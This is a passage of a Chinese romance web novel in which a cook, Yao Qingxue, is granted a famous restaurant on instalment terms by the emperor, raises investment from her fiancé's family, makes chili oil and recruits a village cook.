“厉害!”姚轻雪真心佩服宋筠,聪明人不少,有才学的人很多,能中探花的人却是凤毛麟角,她想再看两眼。 哪知韩泽挪到帘子前坐下,把不大的小窗挡得严严实实。“区区第三,很厉害吗?已经走过去了,别看了。” 姚轻雪:“……”区区第三?韩大人好大的口气。您要上场考,怕是连殿试都上不去。 见她眼珠子滴溜转,韩泽手痒捏了下她的脸颊,感觉一道视线,韩大人转头,芽芽赶紧低手摆弄手指。小姑娘心想怎么都喜欢捏脸啊?姐姐也喜欢捏她脸。 马车很快来到宫门前,韩家人和周芸姝家人已经等在这里。众人略聊几句,核验身份后进了皇宫。 芽芽记得早上嬷嬷的叮嘱,进宫后不准四处张望,不可探头探脑,她紧跟在姐姐身边,低头垂眸。姚轻雪便没那么老实,脑袋不动但眼睛可没闲着。 皇宫,外面红墙黄瓦、雕梁画栋,很是雄伟壮丽,路上遇见的宫女太监躬身碎步,竟然听不到脚步声。跟随引路的太监来到殿内,姚轻雪快速扫了一眼,气派、豪华,处处彰显着一个字——贵。 远远瞥见韩浩站在一人身侧,姚轻雪垂下眼不敢乱瞄了。小辈们跟在两家家长身后跪拜行礼,前面怎么做,她们就怎么做。 周芸姝虽出身书香世家,以前也是没机会进宫面圣,今日她与姚家姐妹均是第一次进宫,紧张程度不亚于芽芽。倒是韩莺韩娇和韩漳跟随父亲母亲参加过宫宴。 礼毕,众人坐下。皇帝先与韩将军、周家家主说话。皇帝的声音随和温润,听上去脾气很好。姚轻雪微微抬头看过去。年轻的帝王气质非凡,眼眸深邃,眉宇间透着英气。 姚轻雪垂下眼,突然听见皇帝问:“朕听说姚姑娘厨艺不错?” 姚轻雪愣了一瞬后起身行礼,“回陛下的话,还行。” “倒是不谦虚。”皇帝轻笑,“润青说你厨艺好,遇见你之后他总算能吃饱饭了。虽然朕这位爱卿在饮食上太过挑剔,不过能让他这般苛责之人满意,想来你的厨艺确实不错。那朕便不绕弯子了,朕念你有情有义,又助大理寺找到失踪已久的火器,德运楼十万两给你,敢不敢要?” 姚轻雪:“……”啥?没听清,麻烦陛下您再说一遍。 别说姚轻雪懵了,就是韩将军韩母和韩泽都是震惊不已,事先皇帝一点消息没漏。谁都不知道今日找姚轻雪来是为了德运楼。 要知道京城但凡有财力的人都盯着德运楼呢,宁王想买皇帝都没给,如今竟然要给毫无财力和背景的姚轻雪? 十万两让姚轻雪脑袋嗡嗡的,但她很快冷静下来:“陛下此话当真?” “君无戏言。” “敢。”一个敢子掷地有声。但紧接着姚轻雪不得不实话实说:“只是民女家贫,拿不出十万两。” 韩将军腹诽,别说你了,就是韩家一下子也拿不出这么多银子,也得卖铺子卖地才能凑齐。韩家无意争夺德运楼,但若是未来儿媳做这行,韩家可以出了这笔银子。不过韩将军没有吭声,他想看看姚轻雪如何应对。没点胆量,担不起责任可做不了大生意。 皇帝并不意外,姚家能拿出才怪。“十万两是最低价,没银子可是不行的。” 姚轻雪:“陛下可否允许民女分期付款?” 皇帝嗤笑:“空手套白狼,你算盘打得精,润青说你老实忠厚,朕看不见得。” “多谢陛下夸奖,不精怎么做买卖,生意做不好又怎么还陛下的银子。” “朕还没答应呢。”皇帝看了眼韩泽,“你即要嫁进镇远将军府,这笔银子韩家拿得出来,不如让你未婚夫替你出了这笔银子。” “此乃民女一人之事,与将军府无关,与韩泽也没有关系,民女想凭自己的本事把酒楼做起来,后果也由我一人承担。民女不才亦不聪颖,唯有厨艺可与人争锋,陛下慧眼如炬,民女定不会让陛下失望。” 皇帝手指轻轻敲着桌面,片刻后道:“可以,十万两限五年还清,每年加一万两利钱。若是当年还不上,次年便要多加一万两。五年内你若不善经营,朕随时收回德运楼。既然是朕上你,那便不用你找人担保,如此安排,你觉得如何?” 这样的条件绝无仅有,这世上恐怕没有第二个人会以这样优厚的条件将德运楼转让给她,也就皇帝做得到。这里自然有韩家,有韩泽的功劳。 姚轻雪跪下叩头谢恩:“谢陛下体恤,民女定竭尽全力将德运楼经营起来,绝不辜负陛下隆恩。”她经营德运楼,一年若赚不到三五万两,那她也别总惦记开食肆了,干脆靠韩泽养着算了。 皇帝看了她两眼,姚轻雪今年也才十九岁,竟然敢背下十多万两的债务。他倒要看看润青的眼光如何。“好,文书签了,德运楼就是你的了。” 姚轻雪签了文书、按上手印。之后皇帝给韩浩和周芸姝赐婚。其余人都得了赏,就连芽芽都得了不少好东西。总之参与找到火器的人都有赏赐。 进宫前紧张兮兮,出宫时姚轻雪背负十万两巨债,反倒心态平和了。她想:难道这就是所谓的虱子多了不痒、债多了不愁 吗? 皇帝先是把她家银子搜刮一空,然后让她欠债十万两,不,是十五万。姚轻雪忍不住想他是不是故意的? 十五万两啊,先前她打算开食肆也只想过小富即安,现在看,不大富都对不起自己。 出宫后,韩父韩母与周家父母在宫门口说话,韩浩和周芸姝赐婚两家人事先知情,所以并未有多大波澜。两家说定改日聚在一起商量两个孩子的婚事,便各自回家了。 韩母让姚轻雪姐俩去将军府用午膳,韩娇要和芽芽坐一辆马车,两个小姑娘嘀嘀咕咕说悄悄话。姚轻雪一动不动坐在那不知在想什么。 韩泽看着她也不说话,半晌见她还是木头人一样,叹口气道:“吓傻了?你在陛下面前不是挺能耐吗?”海口夸的,他都快热血上头了。 “我的能耐大着呢。”姚轻雪嗔他一眼,把膝上的锦盒打开,小心拿出德运楼的地契看了又看。然后眉开眼笑:“韩大人,你就等着跟我吃香喝辣吧,保证把你养得胖胖的。” “还是算了。”韩泽道,“我若胖了踏雪都得嫌弃。” 想到踏雪嫌弃的模样,姚轻雪忍不住笑。 “姚姐姐,你好厉害!”韩娇两眼放光,她掰着指头算,“十万两等于十个一万两,一百个一千两,等于多少个二百两?” 芽芽:“五百、五百个二百两!” 姚轻雪赞许地看一眼妹妹,算数没白教,韩泽也很意外,芽芽去学堂没多久,韩莺要比她大几岁,算数竟然不如芽芽。“芽芽聪明。” “那是自然,也不看是谁妹妹。”姚轻雪与有荣焉。她早就打算好了,等妹妹长大就给她做账房。 韩娇惊讶于十万两竟然有这么多,都没注意芽芽算得比她快。 姚轻雪:“娇娇有二百两?” “你怎么知道?”韩娇嘴巴张得老大,都快能塞进鸡蛋了。 姚轻雪莞尔,小孩子心思很好懂。“自然是猜的。” 芽芽看了一眼韩娇,抿着嘴,韩娇是韩家二小姐,竟然才有二百两啊。她有一万两呢。这么想的芽芽瞬间觉得底气足了。不过一万两离十万两还差很多呢。“姐,我们欠了皇上好多钱啊。” “不怕,姐会赚回来的,你要相信姐姐。” 芽芽点点头,小眉毛还是皱着,“可是爷爷奶奶知道了会怎样?” 姚轻雪抬头望向车顶,姚福和刘氏知道她欠这么多银子,估计天都得塌了。尤其是刘氏,也不知道她心脏经不经得住。但这事又不可能瞒着,瞒也瞒不了多久。 将军府午膳已经准备好,众人净手后坐在桌前。其实皇帝有留他们在宫中用午膳,但韩将军一想这么多人,在宫中吃饭吃不饱还不自知便婉拒了。 大家都饿了,默默吃了一会儿韩将军才对姚轻雪道:“你不要有压力,十万两韩家还是拿得出的。卖几块地再卖几间铺子就有了。” 姚轻雪放下筷子:“多谢伯父,不过陛下既然准我五年还清,我便每年还三万,才算遵守约定。今年还未过半,年底若是拿不出三万两,再请伯父帮忙也不迟。” 韩父韩母互相看了一眼,韩夫人:“行,你既是我家儿媳,便与韩家一体。你要记住韩家是你的后盾,有任何需要和难处直接开口。” 韩将军:“你伯母说的对,德运楼开业前得修整一番,你伯母管着不少铺子有这方面的经验,让她帮你。” 姚轻雪感动又感激,她起身对主位躬身行礼。“多谢伯父伯母!” 韩父:“坐吧,自家人不必多礼。” 姚轻雪坐下后,韩父又道:“只是你们的婚事何时办?老二和周家姑娘得陛下赐婚,便不好迁就你们了。” 原本是长幼有序,老大成亲后才轮到老二,但陛下赐婚非同一般,老大嫡子什么的都可以往后排。 姚轻雪想了想:“先立业后成家,我要把酒楼做起来再成亲,明年吧。” 韩泽:“……” 第87章 第87章支持 韩大人万万没想到,姚轻雪心愿达成,第一个先对他捅刀,他想成个亲怎么就这么难。“成亲与你开酒楼并不冲突。” 姚轻雪一脸严肃道:“会分心。”成亲怕是就得怀孕。背了这么多债,她现在哪里敢生?至少得等酒楼运行正常才能考虑。 “照你这个说法很多人都得是孤家寡人。”韩大人十分不赞同她的说法,“事必躬亲只会累死自己,知人善任方能成就大事业。” 姚轻雪意外地看了韩泽两眼,他竟然有这样超前的管理思想,不愧是大理寺的中流砥柱、陛下信赖的韩少卿。 “你说对,只是起步阶段很多事必然要我亲力亲为。我并不是不打算成亲,我的意思是可以让二公子与周姑娘先办婚事,我们在他们之后也没关系,最多也就半年,等酒楼运行正常我们再成亲也不迟,你觉得呢?” 姚轻雪的态度让韩泽松了口气,他点了下头,“也好。”原本也打算秋后办婚事,比二弟迟一些倒也没什么。 韩父与韩母并未干预他们的决定,若没有赐婚一事,韩母绝对不会允许姚轻雪往后推迟婚事,现在也是不得已。 午膳后,韩母拿出一万两银票给姚轻雪:“开业前的准备需不少银子,这些你先拿着用。” 韩母本想多给些,但韩父说既然她有胆在陛下面前夸下海口,便让她自己去闯,不行了他们再援手。韩将军很欣赏未来儿媳的闯劲儿,也想看看她到底能做到哪一步。 “这银子我不白拿,我给您算分红。”姚轻雪接了银票。 韩振夫妻并未把她的话当真,二人不会想到几年后这点分红会让多少人眼红。 韩父韩母回房午睡,姚轻雪去看辣椒。春佟秋月两个丫鬟早就等着她了,等人到了便把晒干的红辣椒拿出来,不过不多,才六个。 姚轻雪大喜,掰开一个闻了闻,没错就是这个味儿。韩泽拿起来端详。 “走,去给你做辣油,你可以拌面,也可以用来炒菜。”姚轻雪来到厨房,找来捣蒜的石罐和杵子,把干辣椒捣碎。 刺鼻的味道把周围几人都呛出去老远。春佟秋月再次怀疑这玩意能吃吗? 见案板上有午膳没用完的瘦肉,姚轻雪叫帮厨切了一些肉丝,又要来花椒、糖等。然后生火烧油,没多久香辣的气味弥漫了整个厨房。 肉丝辣酱盛出来以后,姚轻雪尝了一下味道非常不错,未经改良的辣椒味道非常浓郁。韩泽小心地吃了一条肉丝,细细品了一下然后又吃一口,还想再吃时,姚轻雪把一个馒头送到他面前。 灶房里的人都惊讶极了,杂粮馒头是韩府下人的午饭,姚姑娘竟然拿给少主吃。韩家的大厨犹豫要不要上前阻止。然后就见嘴巴十分挑剔的大公子几口吃掉一个馒头。 在用过午膳的情况下,韩大人又吃了两个馒头夹肉丝辣酱。姚轻雪见他喜欢也很高兴,“明日陪我去安定庄吧,我的酒楼能不能大赚就看这东西了。” “好。”韩泽连连点头。他把装肉酱的罐子递给厨子,让他放好。大厨小心翼翼接过罐子,他也很想尝一尝,但东西不多,他可不敢跟少主抢吃食。 两人刚回院,韩莺、韩娇还有韩漳找过来。 韩莺递给她一张银票,“我就这么多,别嫌少。”姚轻雪一看是一千两。韩漳递上五千两,韩娇竟然也拿出八百两。 姚轻雪 惊讶:“你不是只有二百两吗?” 韩娇两手背在身后不好意思道:“姐姐有的我都有,父亲还会偷偷给我银子。” 这小姑娘鬼精啊,看走眼了,姚轻雪感叹。 “父亲何时偷偷给你银子?”韩莺叉腰。 “不是不是,姐姐你误会了。”韩娇赶紧摆手,“我生辰时父亲会给我十两银子,让我自己喜欢什么买什么,就只有十两而已,是真的,我没骗姐姐。我就只有二百两,六百两是我娘给我的,她说哥哥姐姐给了那么多,我不能太小气。” 这话是真是假不知道,反正小姑娘看上去特别真诚。韩莺“哼”了一声,没跟她计较。父亲偷偷给妹妹银子,母亲也会给她,还是光明正大呢,这么一比高下立见。 韩家兄妹此番作为着实令姚轻雪意外,亲兄弟姐妹都未必会拿出私房银子帮她,何况她与韩泽还未成亲。“大家的好意我心领了,银子我都收下,我给你们写收据,这些银子都算入股,等还完陛下的银子就给大家分红。” 韩漳:“借据不用了吧,都是自家人。” “一码归一码。”姚轻雪让韩泽准备笔墨,借据也让他代写。 一千两在十五万中所占的比例没多少,韩莺一看自己的那点数,兴致缺缺道:“我一年能拿十两银子吗?” 韩漳收好借据,“我相信姚姐姐,我就等着发财了。”这话并非恭维,韩三公子押上了全部身家。但他没成家没营生,还不像两个妹妹有爹娘宠着,他能攒下几百两已经不错了。于是他偷偷跟祖母借了四千五百两。 “大哥,你出多少?”韩漳问。 韩泽看向姚轻雪:“你要多少?”这语气像是说你要多少我就能给你多少。 韩漳笑道:“还是大哥财大气粗,比不了比不了,走了。”韩三公子把妹妹们和芽芽领走。 房间里只留下他们二人。“我要多少你给多少?” 韩泽:“尽力而为。” “一文不要,你可不准再来分我的利了。”今日收了一万多两,芽芽还有一万两,家里还有一千多两,开业前的银子应是够了。 “都有分红,只有我没有?”韩泽收拾桌上的笔墨。 “因你与旁人不同。”姚轻雪从身后搂住他的脖子,“对了,说要还你的银子我得食言了。”那日去霄云山她信誓旦旦地说要把两千两还给韩泽,结果计划没有变化快。 “那两千两不能算我的分红?”韩大人继续为自己争取利益。 “算也可以,不过呢你的就是我的,你觉得算不算有意义吗?”姚轻雪歪着头笑嘻嘻地看着他,“我可以给你零用钱。” “那你可要给足,不然我可不依。”韩大人把脸凑过来,“先收利息。” 下午曹叔将姐妹二人送回葫芦巷。姚福和刘氏心里一直忐忑不安,生怕姐俩在皇宫受委屈。直到见到人回来,老两口才松口气。 刘氏问他们在皇宫的事,芽芽把自己的赏赐给她们看,有丝绸、有首饰,还有一套文房四宝,还有四本精装书籍。 怎么只有芽芽有赏?大孙女的功劳不是更大?刘氏纳闷:“雪儿你的赏呢?” 芽芽看了一眼姐姐,低头不说话。 “奶奶,您先坐好,我跟你们说件事。”姚轻雪起身把刘氏按到椅子上,她怕刘氏刺激太大受不住再晕了。扶着刘氏坐好她才道:“德运楼您知道吧,被擦朝廷收了,今日进宫皇上把德运楼给我了。” 姚福大喜:“好事啊。” 刘氏狐疑:“你就是功劳再大,也不至于给你那么大酒楼吧?”富贵人都会算计,老太太不信皇帝能给孙女一座酒楼。 姚轻雪心想老太太其实很聪明,要不是身体不行,怕是比姚福都强。“那个,十、十五万两银子,五年还清,一年还三万不是很多我一定能赚到银子。”后面姚轻雪越说越快,她怕说慢了刘氏晕过去。 果然,刘氏一听到十五万两就捂心口,“十五、万、两?” “奶奶您别激动啊。”姚轻雪给她抚胸口,“五年,五年十五万两,一年就三万两,不多,一点都不多。” “一年三万两,还不多?”刘氏这辈子都没想过一年赚三万两。 “奶奶,姐姐做饭那么好吃,她一定能赚很多银子。”芽芽也过去抚刘氏心口,“韩家的哥哥姐姐们都相信姐姐,给了好多银子,我的银子也给姐姐用。” “你拿韩家人银子了?”刘氏急切地问。 姚轻雪把事情经过一说,刘氏的心跳得更快了,还没开业就又欠了别人近两万两。 “奶奶,德运楼您瞧见了。那么大的酒楼只要经营好了,日进斗金不是问题,一年区区三万两赚得跟玩似的,没有这点把握,我敢接?再说皇上都相信我能行,您咋不信自家孙女呢。” 听着孙女的话,刘氏渐渐冷静下来,孙女的本事她相信,只是乍然听到欠了那么多债,她被吓着了。 “雪儿说的有理。”姚福道,“雪儿经营德运楼,咱俩继续摆摊,两不耽搁,还能给她赚些银子。” 刘氏一拍大腿:“对,我们齐心协力。” “这恐怕不行,德运楼营业后,卤味必不可少,您二位得去帮我。不然我一个人哪里忙得过来……”姚轻雪讲了一番大道理,最后终于把二老说服了。 她回屋做开业前的计划。京城酒楼经营的菜品她大概有了解,在辣椒没有出来前,菜品要新才能打开销路。 写写画画直到后半夜姚轻雪才睡下,次日一早韩泽过来接人,得知她还没醒。一问才知她大半宿没睡。 第88章 第88章“东家来了” 姚轻雪起床、匆匆洗了把脸,拿了个煮鸡蛋便与韩泽出门了。出城前她让曹叔去一趟德运楼。以前门庭若市的酒楼如今门可罗雀。门前的地面久不清理,垃圾满地脏污不堪。 姚轻雪抬眼看了下还没摘下的“德运楼”牌子,张家无德偏起名德运,没有德行哪里来的运势?任何时候想要生意长久,德行必不可少。 首先得起个名字,叫什么好呢?姚轻雪攒眉苦思,突然感觉鼻下传来香气,还不待回神便有东西碰到嘴唇,她想都没想张嘴便咬,满口芝麻香。 见她看都不看就咬了一大口,还吃得津津有味,韩泽无奈又好笑。刚停车见路边有卖烤饼,他买了两个。也不知她想什么那么出神,芝麻饼都举到眼前了,她都没有反应。“在想什么?” 姚轻雪嚼吧嚼吧把嘴里的东西咽下,“起什么名字好呢?”说完她拉过韩泽的手,又咬了一口饼,又脆又酥的芝麻饼越嚼越香。 韩泽给她拿掉嘴边粘上的芝麻粒,“名字是招牌,名字响亮生意兴隆,得好好想想。不过不急,先来聊聊你昨晚忙了大半夜都做了什么?说来听听,我虽不懂经营,但京城酒楼本公子吃了个遍,多少可以给一些外行人的意见。” 京城酒楼都让他吃遍了哪里还是外行,姚轻雪问他知名酒楼饭庄的招牌菜。韩泽一家一家说给她听,姚轻雪听后心里有了数。 后世几大菜系的招牌菜拿到现在都是吊打各大酒楼,包括万福楼,问题在食材上,现在很多东西都没有。只能根据现有的食材,把菜谱做些改变,昨晚她共列出十道,打算作为酒楼开业的主菜。 韩泽身为资深食客兼严重挑食者,他的意见很重要。姚轻雪把每一道菜的做法和味道描述一番,说着说着她突然看见韩大人偷偷咽了下口水。 “哈哈……”姚轻雪大笑,“韩大人你馋了。” “你还说,给我做那么长时间厨娘,怎么没见你做过这些菜?”韩泽没好气道,“你是不是对我都没用心?” “这可冤枉我了。”姚轻雪止住笑,“你那么挑剔,我哪敢轻易换菜谱,万一做出来你不爱吃辞了我怎么办,那时我得抱紧你韩少卿的大腿呢。” 姚轻雪挽住他的胳膊,“回去我每道菜都做,你做一个食客。” “这还差不多。”韩泽没跟她计较,以前没吃到以后总有的吃。“厨子呢?你不会打算亲自掌勺吧?” “自然不是。”那么大酒楼靠她一人做菜,累死她都做不完。 厨子是重中之重,得培养几个厨子。但姚轻雪担心教会厨子,给别人做嫁衣。 “买人,卖身契在你手里,生死由你,无人敢背主。太平巷的房子空着,回城后去牙行问问,厨子不太好买,不过也不是没有,只要会些厨艺,买来人放在太平巷,你调教几日便可上灶。” 姚轻雪想了想,然后点头:“也好!”防止菜谱外流,也只能这么做。 上次来时山间偶见新绿、农田还是光秃秃的,现在庄稼都长一尺来高,远远望去绿油油一片。 安定庄的村民大多在田里锄草,几个光屁股的小娃在路上跑来跑去,他们看见韩家的马车走近,呼喊着:“东家来了”跑回村子。 待在家里的老弱残纷纷走出家门,曹叔与他们打招呼。下车后看 见有人在辣椒地里,姚轻雪和韩泽去了地里。 李贵和媳妇还有他们的女儿春杏,看见主子过来,赶忙扔了手里的草,起身迎过来。“大公子,姚姑娘!” 姚轻雪:“苗出的好不好?”自从把种子撒地里,她就没再来过。 “好着呢。”李贵笑道,“比豆子麦子出的苗都好,一棵苗都不缺。” 先育种,播种又是她亲自盯的,不出意外的话出苗率不会太低。姚轻雪在地里走了一圈,确实如李贵所说,没有缺苗的。每个坑都有两到三株辣椒苗。 李贵媳妇:“前些日子土有点干,我和他爹挑水浇了一遍,村里人也过来帮忙了。” 辣椒苗比旁边地里的豆苗长势要好,原来是浇水了,姚轻雪:“辛苦了!” 李贵媳妇爽朗道:“辛苦啥,我们应该做的。姚姑娘你说这苗能栽,啥时候栽?” 姚轻雪也有些犯难,秧苗移栽阴雨天成活率最高,今日天气晴朗不像是要下雨的样子,若是一两个月不下雨,秧苗越长越大,苗大移栽成活率会变低。 李贵:“我去村里问问孟老头,他会看天。”说完他大步往村里去。 “村里竟然有这种能人?”姚轻雪以前听说过有人会看天,有雨没雨看的很准,但也只是听说。 “孟老头有本事,他说下雨十次有七八次都是准的,每年开春撒种,秋天抢收都找他看。”李贵媳妇边说边蹲下来拔草,她干活利索,没一会儿手边便一堆小草。 春杏干活很认真,辣椒苗根部的小杂草也不放过。姚轻雪蹲下身跟她们一起拔。土壤好庄家苗长得好,杂草也长得不赖,若不是经常拔一拔,怕是草得比苗长得高。 但拔了一会儿姚轻雪的腰就受不住了,起身时感觉后腰咔咔作响,她“唉吆唉吆”地叫唤,李贵媳妇大笑:“你哪干得了这活,快去地边歇着吧。” 没多久,李贵领着一位头发花白的老人过来,老人对韩泽拱手行礼:“见过大公子!” 韩泽抬手虚扶:“不必多礼。”他对战场上下来的士兵都有几分敬重,从来不会在安定庄摆将军府大公子的架子。“听说您会看天气,可知近期是否有雨?” 孟老头看了看地里的苗,“七八天后应该会有一场雨,若是不急的话,栽秧那个时候正合适。” 韩泽看向姚轻雪,姚轻雪点头:“可以,就在下雨前栽吧。” “那便麻烦您回去跟村长说一声,下雨前组织人手过来帮李管事栽秧。”韩泽叮嘱道,“这东西的种子从南海来的,整个大卫只有咱们这有,来之不易,若是有损,便无处寻种子了,所以还请告诫大家务必小心。” 韩泽亲自品尝过辣椒,无论是新鲜的还是晒干碾碎的,都是以前不曾有过的味道,是茱萸无法比的。不用姚轻雪说他也知道辣椒的价值。 孟老头很惊讶,他只知道大公子和他未婚妻重视这些苗,没想到来头这么大,也难怪他们没见过。老头不敢怠慢:“大公子放心,我一定转告村长和大家,这东西在咱们安定庄出不了差错。” 孟老头回村,他俩也随李贵一家回到庄子,小宝在院里玩,看见爹娘回来他高兴的扔了手里的石头,乐颠颠跑过来扑到娘腿上,仰起头眼睛笑成一条缝。 李贵媳妇抱起儿子,在他脸上狠狠亲一口。姚轻雪眼馋,小娃娃的脸蛋肉嘟嘟嫩呼呼,这一口该是多么软嫩啊。 她满眼羡慕,韩泽看在眼里,他凑近了低声道:“喜欢孩子,我们快点成亲就可以自己生了。” 姚轻雪白他一眼,心想站着说话不腰疼,你要是能生,我立马成亲,都不带等到下个月的。 李小宝跟娘亲香完才看见多了两个陌生人,他看见姚轻雪眼睛一亮,伸出小手:“糖呢?” 姚轻雪:“……”上次来把春杏舍不得吃的麦芽糖用了,小家伙是跟她讨账吗?她两手一摊,“没糖。” 小宝盯着她的手看了看,又去看韩泽,韩泽也把手伸出来,表示他也没糖。小宝眼睛瞬间蓄满泪水,一转头扑进他娘怀里。 李贵媳妇点点儿子的脑袋:“你好意思要糖,惯得你。”她抱着儿子去灶房烧水沏茶。 李贵问韩泽杀鸡还是杀鸭?姚轻雪说算了,庄子上没什么调料,鸡鸭做出来也不会好吃。午饭凑合吃一口,下午他们就回城了。 外面阳光很好,姚轻雪没进屋,而是登上高台看远处的高山和田野。几个半大孩子赶着猪和羊从山里出来,已近中午田里忙碌的人们也陆续把家回。安定庄正如它的名字一样处处安定与宁和。 这时大门处传来李贵媳妇的大嗓门,“这鱼可真大,但是我不会做啊,秦家兄弟要不您进来给做了?我做大公子和姚姑娘准定不爱吃。” 姚轻雪好笑,李贵媳妇做事麻利,但厨艺确实不咋地。她顺着梯子走下高台。秦家和已经和李贵媳妇进了院儿。 看见姚轻雪,李贵媳妇道:“秦兄弟抓了条大鲤鱼,我让他帮忙做,别看他是男人,做饭的手艺可不赖,村里谁家办席都找他掌勺。” 秦家和不好意思道:“我这算啥,哪能跟人家正经厨子比。” “咋比不了,我觉着你比食肆饭庄的大厨强。要我说你合该去城里找个厨子的活计,准能赚到银子。” 秦家和挠挠头,“城里不好待,在家种地挺好。” “倒也是,城里人心眼子太多,在家种地省心踏实,咱们有将军府罩着不比外面过得差。姚姑娘进屋歇会儿,喝点茶,午饭等会儿就好。” 看着秦家和的背影,姚轻雪若有所思。 第89章 第89章修缮 午饭时,姚轻雪见盘中鱼卖相还不错,便夹了一块鱼肉放进嘴里细细品尝。应是调味不足,略有腥味,但可以凑合吃。“尝尝鱼。” 韩泽本来一口都不想吃,姚轻雪给夹到碗里,韩大人勉强吃了一点,入口便皱了下眉,显然是不喜欢。 姚轻雪:“这鱼味道虽然差了点,但火候正好,鱼肉嫩,若是调味做好,味道应该不差。没有几年厨艺做不到这个程度。” 他们两个,一个是专业厨子,一个嘴刁,并不能代表大多数,于是姚轻雪让李贵一家和庄上其他人都尝了这道鱼,大家都说好吃。 李贵:“我在京城饭庄吃过的鱼,都不如这个好。” 姚轻雪问韩泽:“让此人给我做厨子如何?”安定庄的人,不怕他学会了另起炉灶。 “他若有意可以用。”韩泽没意见,安定庄的村民靠韩家生存,轻易不会做出背叛之事,可以信任。 李贵媳妇这才明白主子让他们尝鱼是为哪般?她一拍大腿:“找秦家和做厨子就对了,我就没见过比他做饭更好吃的男 人,京城饭馆咱也去过,都没有秦家兄弟做的好。” 韩泽让李贵去村里把人叫来当面问问。等人来了以后,姚轻雪开诚布公,她并未说一定用秦家和,而是说他有意的话,试用一个月,合格后才可签正式任用契约。 秦家和犯了难,他之前从未想过出去做厨子,但若是韩家就另当别论。不过他要是走了家里不好办。三个孩子都不顶事,大小子今年六岁,小丫头才两岁多,他走了家里地里都得靠他媳妇一个人。“我回去跟家里人商量一下再给您答复。” 姚轻雪给他考虑时间,秦家和若是有意,三日内去葫芦西找她。 秦家和前脚刚走,安定庄的村长就到了。姚轻雪叮嘱村长和李贵他们:辣椒苗移栽的注意事项。村民都是种了一辈子田的老农,姚轻雪不担心他们栽不好苗。 村长走后,他们也启程回京。路过村子时,村民塞了不少鸭蛋和山野菜到马车里。安定庄外有河,还有大水泡子,村民家家都养鸭子,最不缺的就是鸭蛋。 秦家和把一篮子鸭蛋放到车上,回屋把做厨子的事一说,他媳妇当即决定:“去,当然要去,别家你怕东家不好相处,大公子你怕什么。她未婚妻看着就不是跋扈的,你去了多赚些银钱,租个房子让老大老二去城里上学。跟咱们土里刨食不会有出息,一辈子一眼望到头了。” 秦母也说:“该去,韩将军对咱们都不薄,租子都少收几成,大公子看上你,是你的福气,去吧。家里有我和你媳妇呢,地里的活干不完就花工钱请村里人帮忙。” 回城的路上姚轻雪还担心秦家的情况,怕是不允许秦家和去京城,她是没料到秦家女人比男人看得更远。 进城时看见城门柱子上刻着瑞兽,姚轻雪灵光一闪:“饕餮楼。”韩泽也觉得这个名字不错,于是酒楼的名字就这么定了,也是随意的很。 进城后两人没急着回家,而是去了牙行。果然厨子很抢手,若不是主家犯事要发卖,牙行不会有厨子卖身。 韩泽亮出身份,让牙行给留意着,有人就去将军府送信。然后把姚轻雪送回葫芦巷他才离开。 刘氏见有好几篮鸭蛋问道:“怎地买了这么多?” “村民送的。奶,酸菜不能吃就扔了吧,缸腾出来腌鸭蛋。” 以前冬天不怎么买肉和菜,上一年秋的酸菜吃到开春就差不多没了。去年冬天因为姚轻雪舍得花银子在嘴上,所以干菜和酸菜还剩不少。天气越来越热,酸菜即便没坏也不好再留了。 “行,我这就去倒腾。”刘氏把剩下的几颗酸菜去了老帮,只留下嫩心。 姚轻雪跨上篮子,“我去接芽芽,顺便买点肉。” 耽搁了几天,今早芽芽继续上学,私塾虽离家不远,但她毕竟是女孩子。家里人都不放心她一个人走,所以每次上下学都要接送。 姚福要去,姚轻雪没让。在私塾外等了一刻多钟,芽芽挎着书袋走出来,看见姐姐来接她很高兴。和比她小的女孩子挥手告别,牵起姐姐的手出了巷子。 姐俩去了最近的菜市,买了大骨棒,羊肉,看见有人在路边卖小鱼小虾,总共没多少,都让姚轻雪包了。鱼虾都不大,裹上面油炸,凉了也好吃。 晚饭时看着一桌子菜,刘氏忍不住叹气,谁家欠那么多债还敢这么吃?也就她孙女心大。“酒楼是不是得收拾了?耽搁一天就少赚不少银子。” “明日就去收拾。”姚轻雪喝了口汤,大骨和酸菜炖了半个多时辰,汤很鲜美,骨头上的肉软烂,一碰就掉。 “德运楼去年才刚翻修过,应该不用大动,哪里不合适稍微弄一弄就好了。”姚轻雪并不打算对酒楼内部做太大改动。一个是银子问题,另外她的审美并不一定符合这里人的喜好,所以不动为宜,但可以在装饰上花些心思。 刘氏:“也好,省银子。明早我和你爷爷一起去,咱们能自己做的就自己动手。” “可别。”姚轻雪不想让他俩操这个心,便撒了个谎:“韩泽已经找人了,用不着你们。” 晚饭后,姚家来了几位意想不到的客人,韩浩与周芸姝还有韩娇。 韩浩拿出五千两银票:“那日我不在家,没赶上。” “也算我一份。”周芸姝也拿出一千两银票。 姚轻雪很清楚他们是想帮自己,其实周转银子差不多够了,但都送上门了,一番好意她不能拒绝。 “多谢,我正缺银子周转呢。”姚轻雪收了银票,给他们写了收据。 刘氏看着大孙女又欠人家六千两,心都跟着哆嗦。以前跟人开口借几两,人家都得考虑再三,寻思她家能不能还上,到了大孙女这可倒好,借银子都是千两起步,孙女眼睛都不眨一下。 刘氏不忍多看,便出了屋子。姚福道:“孙女比咱们有出息,你呀就别瞎操心了。” “我想操心也用不上我啊。”刘氏搬了个凳子坐在院中,看芽芽与韩娇逗弄笼子里花花绿绿的小鸟。 韩娇一遍一遍教“芽芽!”,那鸟就是不张嘴。 等吃了芽芽喂的米后,小东西终于开了尊口,扯着公鸭嗓叫了声:芽芽! 刘氏大为惊奇:“鸟都会说话?”这得多贵啊? “爷爷奶奶,这种鸟是会说话的鸟。”去霄云山时答应要送芽芽小鸟,韩娇一直记在心里。 芽芽把鸟笼提到姚福和刘氏跟前,教它叫:“爷爷,奶奶。” 鹦鹉瞪着绿豆眼不张口,芽芽把粟米喂给它,它才叫了声:“爷!” “奶,还有奶奶呢。”芽芽纠正,继续喂鹦鹉才又叫了声:“奶!” 刘氏笑个不停,“不见兔子不撒鹰,感情是不喂吃的就不叫啊。” 韩娇点点鹦鹉的小脑袋,“你这样可不行,太懒了。” “对,太懒没吃的。”芽芽点头。 她们玩的开心,谁都没注意旁边的大白猫躬着身子悄悄接近。待芽芽又一次伸出手投喂鹦鹉时,小白嗖地窜过来,照着鹦鹉伸出笼子的脑袋就是一爪子。 小小的鹦鹉四脚朝天倒在笼内,半天没缓过来。其他人都惊呆了,芽芽把小白逮住跟它讲道理:“小白你怎么能打人,不是,打鸟呢,它那么小,打死了怎么办?” 小白充耳不闻,伸爪子还往笼子那边够,气得芽芽在白猫屁股上拍了两下。刘氏笑得快直不起腰了,他家院里以后可热闹了。 …… 